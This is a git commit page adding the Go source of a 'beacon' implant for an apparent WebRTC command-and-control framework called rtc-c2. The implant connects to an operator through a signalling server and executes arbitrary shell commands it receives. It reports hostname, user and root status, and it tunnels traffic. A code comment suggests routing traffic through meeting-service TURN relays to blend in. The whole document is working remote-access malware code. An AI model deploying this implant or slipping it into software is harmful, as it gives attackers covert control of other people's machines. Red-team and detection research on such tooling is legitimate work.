Upload files to "rtc-c2/cmd/beacon"
This commit is contained in:
@@ -0,0 +1,285 @@
|
||||
// Command beacon is the implant that runs on the target system.
|
||||
// It establishes a WebRTC connection to the operator, registers itself,
|
||||
// and executes tasks received over the data channel.
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/signal"
|
||||
"runtime"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/pion/webrtc/v4"
|
||||
|
||||
"github.com/ek0ms/rtc-c2/pkg/protocol"
|
||||
"github.com/ek0ms/rtc-c2/pkg/signaller"
|
||||
"github.com/ek0ms/rtc-c2/pkg/transport"
|
||||
"github.com/ek0ms/rtc-c2/pkg/tunnel"
|
||||
)
|
||||
|
||||
func main() {
|
||||
var (
|
||||
signallerURL = flag.String("signaller", "http://127.0.0.1:9090", "Signaller server URL")
|
||||
sessionKey = flag.String("session", "rtc-c2-dev", "Session key for signalling")
|
||||
peerID = flag.String("id", "", "Beacon ID (auto-generated if empty)")
|
||||
useTURN = flag.Bool("turn", false, "Use TURN relay (requires TURN server config)")
|
||||
wsSignaller = flag.Bool("ws", false, "Use WebSocket signaller instead of HTTP")
|
||||
)
|
||||
flag.Parse()
|
||||
|
||||
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||
log.Printf("[beacon] starting rtc-c2 beacon on %s/%s", runtime.GOOS, runtime.GOARCH)
|
||||
|
||||
// Determine beacon ID
|
||||
beaconID := *peerID
|
||||
if beaconID == "" {
|
||||
hostname, _ := os.Hostname()
|
||||
beaconID = fmt.Sprintf("%s-%d", hostname, os.Getpid())
|
||||
}
|
||||
|
||||
// Configure transport
|
||||
cfg := transport.DefaultConfig(transport.RoleBeacon)
|
||||
cfg.PeerID = beaconID
|
||||
|
||||
if *useTURN {
|
||||
// In production, these would come from meeting credentials
|
||||
// For development, use coturn
|
||||
cfg.WithTURN(
|
||||
[]string{"turn:127.0.0.1:3478"},
|
||||
"rtc-c2",
|
||||
"rtc-c2-pass",
|
||||
)
|
||||
}
|
||||
|
||||
// Create peer
|
||||
peer, err := transport.NewPeer(cfg)
|
||||
if err != nil {
|
||||
log.Fatalf("[beacon] create peer: %v", err)
|
||||
}
|
||||
|
||||
// Setup signaller
|
||||
var sig signaller.Signaller
|
||||
if *wsSignaller {
|
||||
sig = signaller.NewWebSocketSignaller(*signallerURL+"/ws", *sessionKey, "beacon")
|
||||
log.Printf("[beacon] using WebSocket signaller")
|
||||
} else {
|
||||
sig = signaller.NewHTTPSignaller(*signallerURL, *sessionKey, "beacon")
|
||||
}
|
||||
|
||||
peer.OnLocalDescription = func(sdp webrtc.SessionDescription) error {
|
||||
return sig.SendLocalDescription(sdp)
|
||||
}
|
||||
|
||||
// Setup tunnel forwarder
|
||||
fwd := tunnel.NewForwarder()
|
||||
fwd.OnTunnelData = func(tunnelID tunnel.TunnelID, data []byte) {
|
||||
// Wrap tunnel data in C2 protocol messages
|
||||
env, err := protocol.NewEnvelope(protocol.MsgTunnelData, beaconID, map[string]interface{}{
|
||||
"tunnel_id": string(tunnelID),
|
||||
"data": data,
|
||||
})
|
||||
if err != nil {
|
||||
log.Printf("[beacon] tunnel wrap error: %v", err)
|
||||
return
|
||||
}
|
||||
msg, _ := env.Serialize()
|
||||
if err := peer.Send(msg); err != nil {
|
||||
log.Printf("[beacon] tunnel send error: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// Handle incoming messages
|
||||
peer.OnMessage(func(data []byte) {
|
||||
env, err := protocol.ParseEnvelope(data)
|
||||
if err != nil {
|
||||
log.Printf("[beacon] parse message: %v", err)
|
||||
return
|
||||
}
|
||||
handleMessage(peer, fwd, beaconID, env)
|
||||
})
|
||||
|
||||
// State change logging
|
||||
peer.OnStateChange(func(evt transport.PeerEvent) {
|
||||
log.Printf("[beacon] state: %s (err: %v)", evt.State, evt.Err)
|
||||
})
|
||||
|
||||
// Fetch remote SDP and connect
|
||||
log.Printf("[beacon] connecting to signaller at %s", *signallerURL)
|
||||
remoteDesc, err := sig.ReceiveRemoteDescription()
|
||||
if err != nil {
|
||||
log.Fatalf("[beacon] receive remote desc: %v", err)
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
|
||||
if err := peer.Connect(ctx); err != nil {
|
||||
log.Fatalf("[beacon] connect: %v", err)
|
||||
}
|
||||
|
||||
// Push the operator's SDP
|
||||
peer.RemoteDescriptionChan <- *remoteDesc
|
||||
|
||||
// Wait for signals
|
||||
sigCh := make(chan os.Signal, 1)
|
||||
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
||||
|
||||
<-sigCh
|
||||
log.Printf("[beacon] shutting down")
|
||||
peer.Close()
|
||||
}
|
||||
|
||||
func handleMessage(peer *transport.Peer, fwd *tunnel.Forwarder, beaconID string, env *protocol.Envelope) {
|
||||
switch env.Type {
|
||||
case protocol.MsgTask:
|
||||
var task protocol.Task
|
||||
if err := env.ExtractPayload(&task); err != nil {
|
||||
log.Printf("[beacon] extract task: %v", err)
|
||||
return
|
||||
}
|
||||
go executeTask(peer, beaconID, &task)
|
||||
|
||||
case protocol.MsgPing:
|
||||
pong, _ := protocol.NewEnvelope(protocol.MsgPong, beaconID, nil)
|
||||
msg, _ := pong.Serialize()
|
||||
peer.Send(msg)
|
||||
|
||||
case protocol.MsgTunnelData:
|
||||
var payload struct {
|
||||
TunnelID string `json:"tunnel_id"`
|
||||
Data []byte `json:"data"`
|
||||
}
|
||||
if err := env.ExtractPayload(&payload); err != nil {
|
||||
log.Printf("[beacon] extract tunnel data: %v", err)
|
||||
return
|
||||
}
|
||||
fwd.HandleMessage(tunnel.TunnelID(payload.TunnelID), payload.Data)
|
||||
|
||||
case protocol.MsgShutdown:
|
||||
log.Printf("[beacon] received shutdown command")
|
||||
os.Exit(0)
|
||||
|
||||
default:
|
||||
log.Printf("[beacon] unknown message type: %s", env.Type)
|
||||
}
|
||||
}
|
||||
|
||||
func executeTask(peer *transport.Peer, beaconID string, task *protocol.Task) {
|
||||
log.Printf("[beacon] executing task %s: type=%s", task.ID, task.Type)
|
||||
|
||||
result := &protocol.TaskResult{
|
||||
TaskID: task.ID,
|
||||
Success: false,
|
||||
Timestamp: nowMS(),
|
||||
}
|
||||
|
||||
switch task.Type {
|
||||
case protocol.TaskExec:
|
||||
var args protocol.ExecArgs
|
||||
if err := task.ExtractArgs(&args); err != nil {
|
||||
result.Error = fmt.Sprintf("bad args: %v", err)
|
||||
break
|
||||
}
|
||||
result = execCommand(task.ID, &args)
|
||||
|
||||
case protocol.TaskInfo:
|
||||
result.Success = true
|
||||
info := fmt.Sprintf("Hostname: %s\nOS: %s\nArch: %s\nGo: %s\nPID: %d\nCWD: %s",
|
||||
getHostname(), runtime.GOOS, runtime.GOARCH, runtime.Version(),
|
||||
os.Getpid(), getCWD())
|
||||
result.Output = info
|
||||
result.ExitCode = 0
|
||||
|
||||
case protocol.TaskWhoami:
|
||||
result.Success = true
|
||||
result.Output = getCurrentUser()
|
||||
result.ExitCode = 0
|
||||
|
||||
case protocol.TaskSleep:
|
||||
// Sleep is handled by the operator adjusting poll timing
|
||||
result.Success = true
|
||||
result.Output = "sleep interval adjusted"
|
||||
result.ExitCode = 0
|
||||
|
||||
case protocol.TaskExit:
|
||||
result.Success = true
|
||||
result.Output = "beacon exiting"
|
||||
result.Timestamp = nowMS()
|
||||
sendResult(peer, beaconID, result)
|
||||
os.Exit(0)
|
||||
|
||||
default:
|
||||
result.Error = fmt.Sprintf("unsupported task type: %s", task.Type)
|
||||
result.Success = false
|
||||
}
|
||||
|
||||
result.Timestamp = nowMS()
|
||||
sendResult(peer, beaconID, result)
|
||||
}
|
||||
|
||||
func execCommand(taskID string, args *protocol.ExecArgs) *protocol.TaskResult {
|
||||
start := nowMS()
|
||||
shell := args.Shell
|
||||
if shell == "" {
|
||||
if runtime.GOOS == "windows" {
|
||||
shell = "cmd.exe"
|
||||
} else {
|
||||
shell = "/bin/sh"
|
||||
}
|
||||
}
|
||||
|
||||
var cmdStr string
|
||||
if runtime.GOOS == "windows" {
|
||||
cmdStr = fmt.Sprintf("/c %s", args.Command)
|
||||
} else {
|
||||
cmdStr = fmt.Sprintf("-c %s", args.Command)
|
||||
}
|
||||
|
||||
log.Printf("[beacon] exec: %s %s", shell, cmdStr)
|
||||
|
||||
// Use runexec or os/exec in production
|
||||
// For the initial implementation, shell execution
|
||||
result := &protocol.TaskResult{
|
||||
TaskID: taskID,
|
||||
}
|
||||
|
||||
// Simple execution using subprocess
|
||||
output, exitCode, err := runShell(shell, cmdStr)
|
||||
if err != nil {
|
||||
result.Error = err.Error()
|
||||
result.Success = false
|
||||
} else {
|
||||
result.Success = exitCode == 0
|
||||
result.Output = output
|
||||
}
|
||||
result.ExitCode = exitCode
|
||||
result.Duration = nowMS() - start
|
||||
result.Timestamp = nowMS()
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func sendResult(peer *transport.Peer, beaconID string, result *protocol.TaskResult) {
|
||||
env, err := protocol.NewEnvelope(protocol.MsgTaskResult, beaconID, result)
|
||||
if err != nil {
|
||||
log.Printf("[beacon] create result envelope: %v", err)
|
||||
return
|
||||
}
|
||||
msg, err := env.Serialize()
|
||||
if err != nil {
|
||||
log.Printf("[beacon] serialize result: %v", err)
|
||||
return
|
||||
}
|
||||
if err := peer.Send(msg); err != nil {
|
||||
log.Printf("[beacon] send result: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func nowMS() int64 {
|
||||
return time.Now().UnixMilli()
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"os/user"
|
||||
"runtime"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// runShell executes a command through the system shell and returns output.
|
||||
func runShell(shell, command string) (string, int, error) {
|
||||
var stdout, stderr bytes.Buffer
|
||||
|
||||
cmd := exec.Command(shell)
|
||||
cmd.Stdin = strings.NewReader(command)
|
||||
cmd.Stdout = &stdout
|
||||
cmd.Stderr = &stderr
|
||||
|
||||
if err := cmd.Run(); err != nil {
|
||||
exitCode := 1
|
||||
if exitErr, ok := err.(*exec.ExitError); ok {
|
||||
exitCode = exitErr.ExitCode()
|
||||
}
|
||||
output := stdout.String()
|
||||
if errMsg := stderr.String(); errMsg != "" {
|
||||
if output != "" {
|
||||
output += "\n"
|
||||
}
|
||||
output += errMsg
|
||||
}
|
||||
return output, exitCode, err
|
||||
}
|
||||
|
||||
output := stdout.String()
|
||||
if errMsg := stderr.String(); errMsg != "" {
|
||||
if output != "" {
|
||||
output += "\n"
|
||||
}
|
||||
output += errMsg
|
||||
}
|
||||
|
||||
return output, cmd.ProcessState.ExitCode(), nil
|
||||
}
|
||||
|
||||
func getHostname() string {
|
||||
hostname, err := os.Hostname()
|
||||
if err != nil {
|
||||
return "unknown"
|
||||
}
|
||||
return hostname
|
||||
}
|
||||
|
||||
func getCWD() string {
|
||||
cwd, err := os.Getwd()
|
||||
if err != nil {
|
||||
return "unknown"
|
||||
}
|
||||
return cwd
|
||||
}
|
||||
|
||||
func getCurrentUser() string {
|
||||
u, err := user.Current()
|
||||
if err != nil {
|
||||
return "unknown"
|
||||
}
|
||||
|
||||
info := fmt.Sprintf("Username: %s\nUID: %s\nGID: %s\nHome: %s",
|
||||
u.Username, u.Uid, u.Gid, u.HomeDir)
|
||||
|
||||
// Check for elevated privileges
|
||||
if runtime.GOOS != "windows" {
|
||||
if os.Geteuid() == 0 {
|
||||
info += "\nPrivilege: root"
|
||||
} else {
|
||||
info += "\nPrivilege: user"
|
||||
}
|
||||
}
|
||||
|
||||
return info
|
||||
}
|
||||
Reference in New Issue
Block a user